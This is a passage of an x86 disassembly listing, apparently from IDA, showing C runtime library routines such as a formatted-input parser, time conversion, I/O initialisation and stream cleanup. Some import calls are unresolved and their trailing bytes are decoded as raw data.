--------------------------------------------------------------------------- loc_427C12: ; CODE XREF: sub_426BE0+1025j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_428020 add esp, 4 mov [ebp+var_1D8], eax loc_427C2D: ; CODE XREF: sub_426BE0+1015j ; sub_426BE0+1030j ... cmp ds:dword_44FD20, 1 jle short loc_427C4F push 4 mov edx, [ebp+var_1D8] push edx call sub_423D90 add esp, 8 mov [ebp+var_220], eax jmp short loc_427C6A ; --------------------------------------------------------------------------- loc_427C4F: ; CODE XREF: sub_426BE0+1054j mov eax, [ebp+var_1D8] mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_220], edx loc_427C6A: ; CODE XREF: sub_426BE0+106Dj cmp [ebp+var_220], 0 jz short loc_427CC9 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz short loc_427CC9 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1E0] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_428020 add esp, 4 mov [ebp+var_1D8], eax jmp loc_427C2D ; --------------------------------------------------------------------------- loc_427CC9: ; CODE XREF: sub_426BE0+F88j ; sub_426BE0+F9Ej ... mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_428080 add esp, 8 cmp [ebp+var_6C], 0 jz short loc_427D23 movsx edx, [ebp+var_70] test edx, edx jnz short loc_427D21 mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 0 lea edx, [ebp+var_1D0] push edx mov eax, [ebp+var_3C] push eax movsx ecx, [ebp+var_38] sub ecx, 1 push ecx call ds:off_450400 add esp, 0Ch loc_427D21: ; CODE XREF: sub_426BE0+1111j jmp short loc_427D28 ; --------------------------------------------------------------------------- loc_427D23: ; CODE XREF: sub_426BE0+1109j jmp loc_427ECA ; --------------------------------------------------------------------------- loc_427D28: ; CODE XREF: sub_426BE0:loc_427D21j jmp short loc_427D74 ; --------------------------------------------------------------------------- loc_427D2A: ; CODE XREF: sub_426BE0+3B0j ; sub_426BE0+3C4j ; DATA XREF: ... mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] cmp eax, [ebp+var_1D8] jz short loc_427D5A mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_428080 add esp, 8 jmp loc_427ECA ; --------------------------------------------------------------------------- loc_427D5A: ; CODE XREF: sub_426BE0+1157j mov cl, [ebp+var_28] sub cl, 1 mov [ebp+var_28], cl movsx edx, [ebp+var_70] test edx, edx jnz short loc_427D74 mov eax, [ebp+var_1D4] mov [ebp+arg_8], eax loc_427D74: ; CODE XREF: sub_426BE0:loc_4273D6j ; sub_426BE0:loc_42793Dj ... mov cl, [ebp+var_28] add cl, 1 mov [ebp+var_28], cl jmp short loc_427DA0 ; --------------------------------------------------------------------------- loc_427D7F: ; CODE XREF: sub_426BE0+38Bj mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_428080 add esp, 8 jmp loc_427ECA ; --------------------------------------------------------------------------- loc_427DA0: ; CODE XREF: sub_426BE0+119Dj mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx jmp loc_427EA1 ; --------------------------------------------------------------------------- loc_427DAE: ; CODE XREF: sub_426BE0+11Dj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_428020 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_427E06 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_428080 add esp, 8 jmp loc_427ECA ; --------------------------------------------------------------------------- loc_427E06: ; CODE XREF: sub_426BE0+1203j mov eax, [ebp+var_1D8] and eax, 0FFh mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_427EA1 mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_428020 add esp, 4 mov [ebp+var_1F4], eax mov ecx, [ebp+var_1F4] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_427E98 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1F4] push edx call sub_428080 add esp, 8 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_428080 add esp, 8 jmp short loc_427ECA ; --------------------------------------------------------------------------- loc_427E98: ; CODE XREF: sub_426BE0+127Cj mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax loc_427EA1: ; CODE XREF: sub_426BE0+11C9j ; sub_426BE0+1245j cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_427EC5 mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz short loc_427EC3 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+1] cmp ecx, 6Eh jz short loc_427EC5 loc_427EC3: ; CODE XREF: sub_426BE0+12D4j jmp short loc_427ECA ; --------------------------------------------------------------------------- loc_427EC5: ; CODE XREF: sub_426BE0+12C8j ; sub_426BE0+12E1j jmp loc_426C57 ; --------------------------------------------------------------------------- loc_427ECA: ; CODE XREF: sub_426BE0+80j ; sub_426BE0+635j ... cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_427EFE cmp [ebp+var_34], 0 jnz short loc_427EED movsx edx, [ebp+var_28] test edx, edx jnz short loc_427EED mov [ebp+var_224], 0FFFFFFFFh jmp short loc_427EF6 ; --------------------------------------------------------------------------- loc_427EED: ; CODE XREF: sub_426BE0+12F7j ; sub_426BE0+12FFj mov eax, [ebp+var_34] mov [ebp+var_224], eax loc_427EF6: ; CODE XREF: sub_426BE0+130Bj mov eax, [ebp+var_224] jmp short loc_427F01 ; --------------------------------------------------------------------------- loc_427EFE: ; CODE XREF: sub_426BE0+12F1j mov eax, [ebp+var_34] loc_427F01: ; CODE XREF: sub_426BE0+131Cj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_426BE0 endp ; --------------------------------------------------------------------------- off_427F08 dd offset loc_426E9A ; DATA XREF: sub_426BE0+239r dd offset loc_426E20 dd offset loc_426E38 dd offset loc_426E7C dd offset loc_426E25 dd offset loc_426E87 dd offset loc_426E8F dd offset loc_426EA5 byte_427F28 db 0 ; DATA XREF: sub_426BE0+233r db 3 dup(7) dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h) dd 7040707h, 7050707h, 2 dup(7070707h) db 7, 6 off_427F76 dd offset loc_426FAB ; DATA XREF: sub_426BE0+3C4r dd offset loc_4274E4 dd offset loc_427957 dd offset loc_4273DB dd offset loc_427942 dd offset loc_4274E0 dd offset loc_426FF1 dd offset loc_4273E2 dd offset loc_427016 dd offset loc_427D2A byte_427F9E db 0 ; DATA XREF: sub_426BE0+3BEr db 1 dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427FC0 proc near ; CODE XREF: sub_426BE0+9E9p ; sub_426BE0+BCCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp ds:dword_44FD20, 1 jle short loc_427FE2 push 4 mov eax, [ebp+arg_0] push eax call sub_423D90 add esp, 8 mov [ebp+var_4], eax jmp short loc_427FF7 ; --------------------------------------------------------------------------- loc_427FE2: ; CODE XREF: sub_427FC0+Dj mov ecx, [ebp+arg_0] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_4], eax loc_427FF7: ; CODE XREF: sub_427FC0+20j cmp [ebp+var_4], 0 jz short loc_428005 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx jmp short loc_428011 ; --------------------------------------------------------------------------- loc_428005: ; CODE XREF: sub_427FC0+3Bj mov edx, [ebp+arg_0] and edx, 0FFFFFFDFh sub edx, 7 mov [ebp+var_8], edx loc_428011: ; CODE XREF: sub_427FC0+43j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_427FC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428020 proc near ; CODE XREF: sub_426BE0+370p ; sub_426BE0+698p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jl short loc_42805B mov ecx, [ebp+arg_0] mov edx, [ecx] movsx eax, byte ptr [edx] and eax, 0FFh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42806A ; --------------------------------------------------------------------------- loc_42805B: ; CODE XREF: sub_428020+1Aj mov ecx, [ebp+arg_0] push ecx call sub_423E50 add esp, 4 mov [ebp+var_4], eax loc_42806A: ; CODE XREF: sub_428020+39j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_428020 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428080 proc near ; CODE XREF: sub_426BE0+ECp ; sub_426BE0+666p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_428099 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42EC40 add esp, 8 loc_428099: ; CODE XREF: sub_428080+7j pop ebp retn sub_428080 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4280A0 proc near ; CODE XREF: sub_426BE0+E3p ; sub_426BE0+353p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx loc_4280A4: ; CODE XREF: sub_4280A0+30j mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_4] push eax call sub_428020 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_4206C0 add esp, 4 test eax, eax jz short loc_4280D2 jmp short loc_4280A4 ; --------------------------------------------------------------------------- loc_4280D2: ; CODE XREF: sub_4280A0+2Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4280A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4280E0 proc near ; CODE XREF: seg000:0041EEF1p var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] sub eax, 76Ch mov [ebp+arg_0], eax cmp [ebp+arg_0], 46h jl short loc_428100 cmp [ebp+arg_0], 8Ah jle short loc_428108 loc_428100: ; CODE XREF: sub_4280E0+15j or eax, 0FFFFFFFFh jmp loc_4281CA ; --------------------------------------------------------------------------- loc_428108: ; CODE XREF: sub_4280E0+1Ej mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] add edx, ds:dword_450774[ecx*4] mov [ebp+var_2C], edx mov eax, [ebp+arg_0] and eax, 3 test eax, eax jnz short loc_428131 cmp [ebp+arg_4], 2 jle short loc_428131 mov ecx, [ebp+var_2C] add ecx, 1 mov [ebp+var_2C], ecx loc_428131: ; CODE XREF: sub_4280E0+40j ; sub_4280E0+46j mov edx, [ebp+arg_0] sub edx, 46h imul edx, 16Dh mov eax, [ebp+arg_0] sub eax, 1 sar eax, 2 mov ecx, [ebp+var_2C] add ecx, edx lea edx, [eax+ecx-11h] imul edx, 18h add edx, [ebp+arg_C] mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 3Ch add eax, [ebp+arg_10] imul eax, 3Ch add eax, [ebp+arg_14] mov [ebp+var_4], eax call sub_42ED80 mov ecx, [ebp+var_4] add ecx, ds:dword_450690 mov [ebp+var_4], ecx mov edx, [ebp+var_2C] mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov [ebp+var_14], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_C] mov [ebp+var_20], edx cmp [ebp+arg_18], 1 jz short loc_4281BB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_4281C7 cmp ds:dword_450694, 0 jz short loc_4281C7 lea eax, [ebp+var_28] push eax call sub_42F190 add esp, 4 test eax, eax jz short loc_4281C7 loc_4281BB: ; CODE XREF: sub_4280E0+BAj mov ecx, [ebp+var_4] add ecx, ds:dword_450698 mov [ebp+var_4], ecx loc_4281C7: ; CODE XREF: sub_4280E0+C0j ; sub_4280E0+C9j ... mov eax, [ebp+var_4] loc_4281CA: ; CODE XREF: sub_4280E0+23j mov esp, ebp pop ebp retn sub_4280E0 endp ; --------------------------------------------------------------------------- align 10h loc_4281D0: ; CODE XREF: seg000:00420BDEp push ebp mov ebp, esp sub esp, 6Ch push 81h push offset aIoinit_c ; "ioinit.c" push 2 push 480h call sub_41AE60 add esp, 10h mov [ebp-50h], eax cmp dword ptr [ebp-50h], 0 jnz short loc_428202 push 1Bh call sub_420CA0 add esp, 4 loc_428202: ; CODE XREF: seg000:004281F6j mov eax, [ebp-50h] mov ds:dword_4EED20, eax mov ds:dword_4EEE20, 20h jmp short loc_42821F ; --------------------------------------------------------------------------- loc_428216: ; CODE XREF: seg000:00428251j mov ecx, [ebp-50h] add ecx, 24h mov [ebp-50h], ecx loc_42821F: ; CODE XREF: seg000:00428214j mov edx, ds:dword_4EED20 add edx, 480h cmp [ebp-50h], edx jnb short loc_428253 mov eax, [ebp-50h] mov byte ptr [eax+4], 0 mov ecx, [ebp-50h] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp-50h] mov byte ptr [edx+5], 0Ah mov eax, [ebp-50h] mov dword ptr [eax+8], 0 jmp short loc_428216 ; --------------------------------------------------------------------------- loc_428253: ; CODE XREF: seg000:0042822Ej lea ecx, [ebp-48h] push ecx call near ptr 3D0000h or [ebx-1D7E15ABh], cl ; --------------------------------------------------------------------------- dw 0FFFFh dd 0D2850000h, 187840Fh, 7D830000h, 840F00ECh, 17Dh, 8BEC458Bh dd 9C4D8908h, 83EC558Bh, 558904C2h, 0FC458BFCh, 899C4503h dd 7D81A045h, 8009Ch, 8B087D00h, 4D899C4Dh, 0C707EB98h dd 8009845h, 558B0000h, 9C558998h, 1A445C7h, 0EB000000h dd 0A4458B09h, 8901C083h, 0D8BA445h, 4EEE20h, 0F9C4D3Bh dd 918Dh, 0B66800h, 0C8680000h, 6A0043A0h, 4806802h, 79E80000h dd 83FFFF2Bh, 458910C4h, 0B07D83B0h, 8B0B7500h, 4EEE2015h dd 9C558900h, 458B64EBh, 0B04D8BA4h, 20850C89h, 8B004EEDh dd 4EEE2015h, 20C28300h, 0EE201589h, 9EB004Eh, 83B0458Bh dd 458924C0h, 0A44D8BB0h, 208D148Bh, 81004EEDh, 480C2h dd 0B0553900h, 458B2373h, 440C6B0h, 0B04D8B00h, 0FFFF01C7h dd 558BFFFFh, 542C6B0h, 0B0458B0Ah, 840C7h, 0EB000000h dd 0FF57E9BFh, 45C7FFFFh, 0A8h, 8B1BEB00h, 0C183A84Dh dd 0A84D8901h, 83FC558Bh, 558901C2h, 0A0458BFCh, 8904C083h dd 4D8BA045h, 9C4D3BA8h, 558B677Dh, 0FF3A83A0h, 458B5A74h dd 8BE0FFCh, 8501E183h, 8B4D74C9h, 0BE0FFC55h, 8E08302h dd 1075C085h, 8BA04D8Bh, 45E85211h, 7DFFFA7Ch, 3074C085h dd 0C1A8458Bh, 4D8B05F8h, 1FE183A8h, 8B24C96Bh, 0ED208514h dd 0D103004Eh, 8BB05589h, 4D8BB045h, 89118BA0h, 0B0458B10h dd 8AFC4D8Bh, 4508811h, 0FFFF76E9h, 0A845C7FFh, 0 ; --------------------------------------------------------------------------- jmp short loc_428407 ; --------------------------------------------------------------------------- loc_4283FE: ; CODE XREF: seg000:loc_4284DFj mov eax, [ebp-58h] add eax, 1 mov [ebp-58h], eax loc_428407: ; CODE XREF: seg000:004283FCj cmp dword ptr [ebp-58h], 3 jge loc_4284E4 mov ecx, [ebp-58h] imul ecx, 24h mov edx, ds:dword_4EED20 add edx, ecx mov [ebp-50h], edx mov eax, [ebp-50h] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_4284D0 mov ecx, [ebp-50h] mov byte ptr [ecx+4], 81h cmp dword ptr [ebp-58h], 0 jnz short loc_428444 mov dword ptr [ebp-6Ch], 0FFFFFFF6h jmp short loc_428454 ; --------------------------------------------------------------------------- loc_428444: ; CODE XREF: seg000:00428439j mov edx, [ebp-58h] sub edx, 1 neg edx sbb edx, edx add edx, 0FFFFFFF5h mov [ebp-6Ch], edx loc_428454: ; CODE XREF: seg000:00428442j mov eax, [ebp-6Ch] push eax call near ptr 3D0000h xchg eax, esp mov [ebp-4Ch], eax cmp dword ptr [ebp-4Ch], 0FFFFFFFFh jz short loc_4284BF mov ecx, [ebp-4Ch] push ecx call near ptr 3D0000h cmpsb mov [ebp-54h], eax cmp dword ptr [ebp-54h], 0 jz short loc_4284BF mov edx, [ebp-50h] mov eax, [ebp-4Ch] mov [edx], eax mov ecx, [ebp-54h] and ecx, 0FFh cmp ecx, 2 jnz short loc_4284A0 mov edx, [ebp-50h] mov al, [edx+4] or al, 40h mov ecx, [ebp-50h] mov [ecx+4], al jmp short loc_4284BD ; --------------------------------------------------------------------------- loc_4284A0: ; CODE XREF: seg000:0042848Ej mov edx, [ebp-54h] and edx, 0FFh cmp edx, 3 jnz short loc_4284BD mov eax, [ebp-50h] mov cl, [eax+4] or cl, 8 mov edx, [ebp-50h] mov [edx+4], cl loc_4284BD: ; CODE XREF: seg000:0042849Ej ; seg000:004284ACj jmp short loc_4284CE ; --------------------------------------------------------------------------- loc_4284BF: ; CODE XREF: seg000:00428465j ; seg000:00428478j mov eax, [ebp-50h] mov cl, [eax+4] or cl, 40h mov edx, [ebp-50h] mov [edx+4], cl loc_4284CE: ; CODE XREF: seg000:loc_4284BDj jmp short loc_4284DF ; --------------------------------------------------------------------------- loc_4284D0: ; CODE XREF: seg000:00428428j mov eax, [ebp-50h] mov cl, [eax+4] or cl, 80h mov edx, [ebp-50h] mov [edx+4], cl loc_4284DF: ; CODE XREF: seg000:loc_4284CEj jmp loc_4283FE ; --------------------------------------------------------------------------- loc_4284E4: ; CODE XREF: seg000:0042840Bj mov eax, ds:dword_4EEE20 push eax call near ptr 3D0000h and al, 8Bh in eax, 5Dh retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov dword ptr [ebp-8], 0 jmp short loc_428518 ; --------------------------------------------------------------------------- loc_42850F: ; CODE XREF: seg000:loc_428592j mov eax, [ebp-8] add eax, 1 mov [ebp-8], eax loc_428518: ; CODE XREF: seg000:0042850Dj cmp dword ptr [ebp-8], 40h jge short loc_428597 mov ecx, [ebp-8] cmp ds:dword_4EED20[ecx*4], 0 jz short loc_428592 mov edx, [ebp-8] mov eax, ds:dword_4EED20[edx*4] mov [ebp-4], eax jmp short loc_428543 ; --------------------------------------------------------------------------- loc_42853A: ; CODE XREF: seg000:loc_42856Dj mov ecx, [ebp-4] add ecx, 24h mov [ebp-4], ecx loc_428543: ; CODE XREF: seg000:00428538j mov edx, [ebp-8] mov eax, ds:dword_4EED20[edx*4] add eax, 480h cmp [ebp-4], eax jnb short loc_42856F mov ecx, [ebp-4] cmp dword ptr [ecx+8], 0 jz short loc_42856D mov edx, [ebp-4] add edx, 0Ch push edx call ds:dword_4F136C ; RtlDeleteCriticalSection loc_42856D: ; CODE XREF: seg000:0042855Ej jmp short loc_42853A ; --------------------------------------------------------------------------- loc_42856F: ; CODE XREF: seg000:00428555j push 2 mov eax, [ebp-8] mov ecx, ds:dword_4EED20[eax*4] push ecx call sub_41B8F0 add esp, 8 mov edx, [ebp-8] mov ds:dword_4EED20[edx*4], 0 loc_428592: ; CODE XREF: seg000:00428529j jmp loc_42850F ; --------------------------------------------------------------------------- loc_428597: ; CODE XREF: seg000:0042851Cj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4285A0 proc near ; CODE XREF: sub_41F050+13p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 push 2 call sub_421A80 add esp, 4 mov [ebp+var_8], 3 jmp short loc_4285C9 ; --------------------------------------------------------------------------- loc_4285C0: ; CODE XREF: sub_4285A0:loc_428664j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_4285C9: ; CODE XREF: sub_4285A0+1Ej mov ecx, [ebp+var_8] cmp ecx, ds:dword_4F0080 jge loc_428669 mov edx, [ebp+var_8] mov eax, ds:dword_4EF06C cmp dword ptr [eax+edx*4], 0 jz short loc_428664 mov ecx, [ebp+var_8] mov edx, ds:dword_4EF06C mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz short loc_428621 mov edx, [ebp+var_8] mov eax, ds:dword_4EF06C mov ecx, [eax+edx*4] push ecx call sub_41ACF0 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_428621 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_428621: ; CODE XREF: sub_4285A0+5Dj ; sub_4285A0+76j cmp [ebp+var_8], 14h jl short loc_428664 mov eax, [ebp+var_8] mov ecx, ds:dword_4EF06C mov edx, [ecx+eax*4] add edx, 20h push edx call ds:dword_4F136C ; RtlDeleteCriticalSection push 2 mov eax, [ebp+var_8] mov ecx, ds:dword_4EF06C mov edx, [ecx+eax*4] push edx call sub_41B8F0 add esp, 8 mov eax, [ebp+var_8] mov ecx, ds:dword_4EF06C mov dword ptr [ecx+eax*4], 0 loc_428664: ; CODE XREF: sub_4285A0+44j ; sub_4285A0+85j jmp loc_4285C0 ; --------------------------------------------------------------------------- loc_428669: ; CODE XREF: sub_4285A0+32j push 2 call sub_421B20 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4285A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_428680(double) sub_428680 proc near ; CODE XREF: sub_41F150+C3p ; sub_41F370+C3p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_428680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4286A0(int, double, int) sub_4286A0 proc near ; CODE XREF: sub_41F150+85p ; sub_41F370+85p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:dword_4507AC, 0 jnz short loc_4286D4 mov eax, [ebp+arg_C] push eax ; int mov ecx, [ebp+10h] push ecx mov edx, [ebp+arg_4] push edx ; double push 0 ; int push 0 ; int mov eax, [ebp+10h] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_0] push edx ; int push 1 ; int call sub_429150 add esp, 24h jmp short loc_4286F3 ; --------------------------------------------------------------------------- loc_4286D4: ; CODE XREF: sub_4286A0+Aj call sub_4267E0 mov dword ptr [eax], 21h push 0FFFFh mov eax, [ebp+arg_C] push eax call sub_4295E0 add esp, 8 fld qword ptr [ebp+arg_4] loc_4286F3: ; CODE XREF: sub_4286A0+32j pop ebp retn sub_4286A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 fld qword ptr [ebp+0Ch] fadd qword ptr [ebp+14h] fstp qword ptr [ebp-8] cmp ds:dword_4507AC, 0 jnz short loc_428744 mov eax, [ebp+1Ch] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp-8] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx push 1 call sub_429150 add esp, 24h jmp short loc_428763 ; --------------------------------------------------------------------------- loc_428744: ; CODE XREF: seg000:00428716j call sub_4267E0 mov dword ptr [eax], 21h push 0FFFFh mov edx, [ebp+1Ch] push edx call sub_4295E0 add esp, 8 fld qword ptr [ebp-8] loc_428763: ; CODE XREF: seg000:00428742j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_428770(int, int, int, int, double, int) sub_428770 proc near ; CODE XREF: sub_41F150+B1p ; sub_41F150+129p ... var_5C = byte ptr -5Ch var_24 = dword ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+arg_18] push eax lea ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_0] push edx call sub_428DD0 add esp, 0Ch test eax, eax jnz short loc_4287B6 mov eax, [ebp+var_24] and al, 0FEh mov [ebp+var_24], eax lea ecx, [ebp+arg_10] push ecx lea edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx lea edx, [ebp+arg_18] push edx lea eax, [ebp+var_5C] push eax call sub_428900 add esp, 18h loc_4287B6: ; CODE XREF: sub_428770+1Cj mov ecx, [ebp+arg_0] push ecx call sub_429270 add esp, 4 mov [ebp+var_4], eax cmp ds:dword_4507AC, 0 jnz short loc_4287FE cmp [ebp+var_4], 0 jz short loc_4287FE mov edx, [ebp+arg_18] push edx ; int mov eax, dword ptr [ebp+arg_10+4] push eax mov ecx, dword ptr [ebp+arg_10] push ecx ; double push 0 ; int push 0 ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+var_4] push edx ; int call sub_429150 add esp, 24h jmp short loc_42881E ; --------------------------------------------------------------------------- loc_4287FE: ; CODE XREF: sub_428770+5Cj ; sub_428770+62j mov eax, [ebp+var_4] push eax call sub_4291F0 add esp, 4 push 0FFFFh mov ecx, [ebp+arg_18] push ecx call sub_4295E0 add esp, 8 fld [ebp+arg_10] loc_42881E: ; CODE XREF: sub_428770+8Cj mov esp, ebp pop ebp retn sub_428770 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+28h] push eax lea ecx, [ebp+20h] push ecx mov edx, [ebp+8] push edx call sub_428DD0 add esp, 0Ch test eax, eax jnz short loc_42888E mov eax, [ebp-24h] or al, 1 mov [ebp-24h], eax mov ecx, [ebp-24h] and ecx, 0FFFFFFE1h or ecx, 2 mov [ebp-24h], ecx mov edx, [ebp+18h] mov [ebp-34h], edx mov eax, [ebp+1Ch] mov [ebp-30h], eax lea ecx, [ebp+20h] push ecx lea edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx lea edx, [ebp+28h] push edx lea eax, [ebp-5Ch] push eax call sub_428900 add esp, 18h loc_42888E: ; CODE XREF: seg000:0042884Cj mov ecx, [ebp+8] push ecx call sub_429270 add esp, 4 mov [ebp-4], eax cmp ds:dword_4507AC, 0 jnz short loc_4288DA cmp dword ptr [ebp-4], 0 jz short loc_4288DA mov edx, [ebp+28h] push edx mov eax, [ebp+24h] push eax mov ecx, [ebp+20h] push ecx mov edx, [ebp+1Ch] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] push ecx call sub_429150 add esp, 24h jmp short loc_4288FA ; --------------------------------------------------------------------------- loc_4288DA: ; CODE XREF: seg000:004288A4j ; seg000:004288AAj mov edx, [ebp-4] push edx call sub_4291F0 add esp, 4 push 